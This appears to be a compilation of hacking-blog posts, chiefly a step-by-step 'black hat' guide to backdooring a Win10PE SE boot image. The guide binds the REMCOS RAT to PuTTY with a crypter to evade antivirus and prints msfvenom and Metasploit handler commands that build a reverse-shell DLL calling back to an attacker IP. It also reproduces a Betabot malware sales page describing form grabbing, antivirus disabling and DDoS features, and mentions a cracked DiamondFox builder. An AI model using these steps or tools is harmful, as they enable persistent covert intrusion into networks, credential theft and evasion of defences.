Dirty Cow CVE-2016-5195 Exploit on Ubuntu 16.04

https://dirtycow.ninja/
https://www.exploit-db.com/exploits/40616/

Cobalt Strike Trial 3.5.1 Browser Pivot

Persistent Backdooring Win10PE SE ISO or WIM

My goal was to create a persistent backdoor on a small business or corporate network. Using Win10PE SE build on either an ISO or WIM file within the skill level of any attacker. I chose to use REMCOS rat. REMCOS is RAT used for good and bad it’s a tool it often is used by blackhats and at a price of only 60.00 a month it’s worth the cost. http://breaking-security.net/remcos.php

Also, Anti-Analysis can prolong the life of your backdoor.

I choose Octopus crypter/binder (crypter tools to evade anti-virus detection) to bind (bind to attach a virus to legitimate program which executes the legitimate program and the rat server simultaneously) Putty as an example of a trusted program.  As for crypters, you can use old free crypters or you can get something modern with a private stub giving you months without detection.

http://breaking-security.net/octopus.php

Note most of the functions work on REMCOS notably the file manager and dll injection. I tested metasploits meterpreter rat by injecting dll payload meterpreter.dll. I found not only did meterpeter work but it was also possible to pivot off the Windows 10 PE SE live ISO file or WIM. The pivot allows the attacker to enumerate and exploit machines on  any other networks connected to the machine running the Windows 10PE SE ISO or WIM.

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

https://www.offensive-security.com/metasploit-unleashed/portfwd/

I tested Empire and successfully injected dll payload Empire.dll

http://www.powershellempire.com/?page_id=135

An attacker could spread a backdoored windows10PE SE ISO or WIM through social engineering or using existing access if the person happens to be inside threat. This threat could probably fly under the radar for a while giving an attacker sporadic access to the network this attack probably is only useful if the victim frequently uses the backdoored ISO or WIM (A file which can be setup to boot off the network) http://www.howtogeek.com/162070/it-geek-how-to-network-boot-pxe-the-winpe-recovery-disk-with-pxelinux-v5-wimboot/

Effects of a persistent backdoor trojan

1. An attacker can now access any drive mounted on the infected computer  this can be used to bind your bot or rat to a persistent mounted hard drive with an OS  mounted on it provided the file system is not encrypted  programs on the mounted drive hard drive.

2. An attacker could load metasploits meterpreter tool to pivot to attack another machine on a private network. 

3. A trojan could last undected by av for a long time months if the attacker is willing to get private stub for encrypting this could be done with just $100.00

What can be done to prevent it

1. Don’t  trust sites that are not well known for “free” compiled ISOS or WIMS malware-fighting tools

2. Look to see if there are any Untrusted programs in AppsMy when building your ISO or WIM

3. After building ISO scan the ISO for malware with Kaspersky or Bitdefender

4. Check MD5 hashes to see if a tool has been modified by a binder/crypter

http://www.winmd5.com/

Step by Step from a black hat perspective

1. Crypt your RAT and bind it to Putty.exe example using Octopus 2.3.2

d

2. Check your file for detection https://nodistribute.com

f

j

ll

3.You can create Windows 10 PE ISO or WIM  with WinBuilder

I used Windows 10 Enterprise 2015 LTSB Evaluation trial for the ISO or WIM

Link for WinBuilder http://win10se.cwcodes.net/Compressed/

Launch the WinBuilder

a.       Click under Utils to PC Packed

b.       Add backdoor BadPutty to a zip file BadPutty.zip

c.       Name the backdoor executable in the zip file above BadPutty.exe

1.       Click AppsMy

a.       Click 2Prepare

b.      Click BadPutty

c.       Only select startup 

4. Boot your win10PE SE ISO or WIM file Putty will automatically load and execute Putty and the   RAT binded to it.

Create a dll payload meterpreter.dll in Kali

example

root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.202.133 LPORT=1337 -b "\x00" -e x86/shikata_ga_nai -f dll -o /root/Desktop/Meterpreter.dll

handler first enter metapsloit in Kali

root@kali:~# msfconsole

use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.202.133

msf exploit(handler) > set LPORT 1337

msf exploit(handler) > exploit -j

Create a dll payload Empire.dll  tested in Kali

https://www.powershellempire.com/?page_id=135

Load your dll payload into memory with Remcos

Any feedback would be greatly appreciated.

DiamondFox cracked by The Old Warior

DiamondFox Builder video https://youtu.be/5Om-Gd-j3es
DiamondFox Panel video https://youtu.be/gFnWCmrb7iE

pivoting and port forwarding with linux meterpreter

I decided to make a quick video showing linux meterpreter pivoting and also port forwarding ssh.
http://youtu.be/EAZLRADv4HU

Inside Betabot Panel Version 1.7.0.1

Betabot is a publicly sold bot. It is priced competitively at $500.00 BTC/LTC/Perfect Money as of 5-10-2014. The 1.7.0.1 panel requires ionCube Loader 5.4 also the bot does not come with a builder just binary file that can be locked up to 16 domains. Betabot has a formgrabber for Internet Explorer, Firefox, chrome but unlike most bank bots Betabot does not have web-injects. Though Betabot can force Internet explorer to be the default browser that could allow cracked legacy banking bots such as Zeus, SpyEye, ICE IX, Citadel, Carberp to have a new prolonged life. Also note plugins are planed in the future and will cost additional money.
I have made the following video on my YouTube channel showing 1.7.0.1 Panel.
 http://youtu.be/fSPaiTlt_UA



Sales Page

Core Features

• Form Grabber
  When specified sites are detected, Betabot will pull any relevant forms as they are sent, and export details to the main panel. In order for the Form Grabber to work, you must specify filters on the panel. When creating filters, the use of wildcards (*) are supported.
  
  • FireFox (Normal and SSL and SPDY)
  • Internet Explorer (Normal and SSL)
  • Google Chrome (Normal and SSL)
• x86/64 Userkit
  Userland rootkit for both 32 bit and 64 bit systems allows the bot to remain untouchable to other bots and basic user interference. Innovative technique for intercepting system calls on x86 systems allows for better compatibility with other bots. All hooks made will be restored if removed and general unhooker removes 3rd party hooks on sensitive NT service stubs.
• AntiVirus Disabler
  Using multiple methods removal methods, Betabot is able to remove or disable over 30 different Anti Viruses from user mode. On Vista and 7, elevation is required for this function to work properly. To help achieve maximum efficiency, a custom social engineering tactic (written in 12 languages) is used to trick the user into elevating the bot process. This method has proven to be roughly 70% - 80% effective when attempting to elevate privileges.
  
  
  Click here to view complete list of anti-viruses disabled
• Anti-Malware (Botkiller)
  Complex heuristic-based anti-malware component allows for thorough removal of not only major/common malware used in PPI ventures and more. Suspicious autostart items, files, processes and injected code will be removed/disabled when possible. Special options to target BTC/LTC miners is available.
• DNS Blocker/Redirector
  The domain name modifier allows domains to be forced to resolve to any IP provided, or flat out blocked. All popular browsers/desktop applications supported.
• Live FTP/POP3 grabber
  Network data interception allows FTP and POP3 logins over non-SSL connections to be intercepted and recorded in real time. Additionally, SSH logins made from PuTTY client are recorded and reported to the server.
• File Search
  Ability to search all files on local hard disks for certain terms or files with certain names/extensions. Additionally, directories can be excluded from the search. Files matching search parameters will be uploaded to the C2 server.
• Proactive Defense Mode
  Special self-defense mode that can be toggled on and off. When turned on, this will block most known methods of code injection and other malware-related activity to ensure only betabot is in control.
• General bot defense
  Using a myriad of different concepts, betabot protects itself from removal/tampering. Areas of protection include process, autostart and file protection. Betabot is highly resistant to code injection, file removal and unhooking.
• Additional features:
  
  
  • File Size < 150kb
    
  • Config Editor to edit builds -- Change group names
    
  • Block Bootkit Installation of some Bootkits (Mainly Rovnix(Carberp)). Can be toggled on/off from the panel.
    
  • Multi Server Support for up to 16 different servers. Different configurations are possible for each individual server.
    
  • Four different DDoS methods. Various settings to change. Uses local information to attempt to randomize headers in HTTP Floods.
       UDP
       Rapid Connect/Disconnect
       HTTP GET
       Slowloris
    
    
  • Experimental Ruskill - Using an active Sandbox-like, Betabot will attempt to sequester specified programs and roll back any changes made by them after Running. This feature is currently in development and may not work on some bots.
    
  • USB Autorun - When enabled, Betabot will add itself to any USB drive inserted into the machine using LNK-File swap techniques.
    
  • SOCKS4 Server - Turn your bots into dedicated SOCKS4 proxies. You may set the port as well as the duration. Supports UPnP.
    
  • FTP Stealer harvests live FTP logins as they happen in real time.
    
  • Anti Virus Checker allows you to enter your Scan4You account info into the panel and makes use of the S4Y API for quick and easy scanning, straight from your own panel.
    
  • Various Rudimentary Antis To help maintain the integrity of Beta Bot and to protect various pieces of vital code, Beta Bot makes use of multiple anti debugging and anti dumping methods.
    
  • Download / Update / Uninstall / etc - Basic commands expected of all bots. Supports DLLs and JAR files.
    
  • Execute system shell commands
    
  • Additional User Accounts - Ability to create additional user accounts to access your panel. Fully customizable access levels.
    
  • Advanced Search Options to locate specific bots quickly and easily.

Ubuntu 12.04 LTS meterpreter shell

Just wanted show how to use msfpayload to generate a linux meterpeter bind shell as a exe binary file.This requires the victim/user to run and execute the malicious exe file. Tested on Ubuntu 12.04 LTS
Video:http://youtu.be/FpPE3C4Q1TU